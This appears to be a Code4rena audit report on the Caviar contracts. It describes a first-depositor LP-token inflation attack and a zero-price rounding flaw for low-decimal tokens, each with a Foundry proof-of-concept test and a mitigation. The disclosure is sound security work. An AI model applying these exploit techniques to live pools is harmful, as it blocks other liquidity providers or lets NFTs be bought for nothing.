Caviar contest - immeas's results

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L90 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L424-L427

Vulnerability details

Description

The first liquidity provider can add just one wei of liquidity and then transfer a large amount of both baseToken and fractionalToken to the pair to inflate the price of liquidity tokens.

Impact

The first liquidity provider can force the price of lptokens to be very high stopping others from being able to stake liquidity

Proof of Concept

PoC test in Add.t.sol:

    function testFirstMinterMakesLpTokensVeryExpensive() public {
        deal(address(usd),address(this),1000e18 + 1,true);
        deal(address(p),address(this),1000e18 + 1,true);

        // mint one lptoken
        uint256 lpTokenAmount = p.add(1, 1, 1);
        
        // transfer a lot of tokens into contract
        usd.transfer(address(p),1000e18);
        p.transfer(address(p),1000e18);

        console.log("lpToken",lpTokenAmount);

        // one wei of lptoken now costs 1000e18
        console.log("addQuote(1000e18,1000e18)",p.addQuote(1000e18+1, 1000e18+1));
    }

Tools Used

vscode, forge

Recommended Mitigation Steps

UniswapV2 mitigates this by having a min liquidity of 1000 which they burn:

https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L118-L125

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
           _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
        } else {
            liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
        }
        require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');

This makes this type of attack a lot more expensive.

low

L-1 wrong price for low decimal tokens with a lot of low value NFTs

If there's a large enough discrepancy in price and decimals the price and quote calulactions don't work anymore.

It is unlikely but possible with a combination of "worthless" NFTs and tokens like USDC

Proof of Concept

    function testLowDecimalTokensCalculatesWrongPrice() public {
        Token6D t6 = new Token6D();
        Pair _pair = c.create(address(bayc), address(t6), bytes32(0));

        deal(address(_pair),address(this),10_000_000e18,true);
        deal(address(t6),address(this),100e6,true);

        t6.approve(address(_pair),type(uint256).max);

        // a bunch of really cheap domains as an example
        _pair.add(1e6, 1_000_000e18 + 1, 1);

        // 0
        console.log(_pair.price());
        
        // 0 a user could buy all for nothing
        console.log(_pair.buyQuote(1e18));
    }

mitigation

uniswap gets around this by never doing any price calculation and only doing multiplication when swapping.

Either do this, or normalize low decimal tokens